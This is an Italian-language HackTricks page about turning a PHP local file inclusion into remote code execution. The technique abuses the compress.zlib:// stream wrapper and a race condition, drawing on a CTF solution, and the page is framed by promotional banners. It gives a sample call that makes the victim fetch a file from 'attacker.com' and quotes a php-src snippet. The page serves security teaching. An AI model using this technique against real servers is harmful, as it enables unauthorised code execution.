LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:


compress.zlib:// e PHP_STREAM_PREFER_STDIO

Un file aperto utilizzando il protocollo compress.zlib:// con il flag PHP_STREAM_PREFER_STDIO può continuare a scrivere i dati che arrivano alla connessione successivamente nello stesso file.

Questo significa che una chiamata come:

file_get_contents("compress.zlib://http://attacker.com/file")
Invierà una richiesta chiedendo http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una valida risposta HTTP, mantenere aperta la connessione e inviare dati extra in seguito che verranno scritti anche nel file.

Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Gara di Condizione di Gara a RCE

Questa CTF è stata risolta utilizzando il trucco precedente.

L'attaccante farà sì che il server vittima apra una connessione leggendo un file dal server dell'attaccante utilizzando il protocollo compress.zlib.

Mentre questa connessione esiste, l'attaccante esfiltrerà il percorso al file temporaneo creato (è stato rivelato dal server).

Mentre la connessione è ancora aperta, l'attaccante sfrutterà un LFI caricando il file temporaneo** che controlla.

Tuttavia, c'è un controllo nel server web che impedisce il caricamento di file che contengono <?. Pertanto, l'attaccante sfrutterà una Condizione di Gara. Nella connessione che è ancora aperta, l'attaccante invierà il payload PHP DOPO** che il webserver abbia controllato se il file contiene i caratteri vietati ma PRIMA che carichi il suo contenuto.

Per ulteriori informazioni, controlla la descrizione della Condizione di Gara e della CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale di WhiteIntel è combattere le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated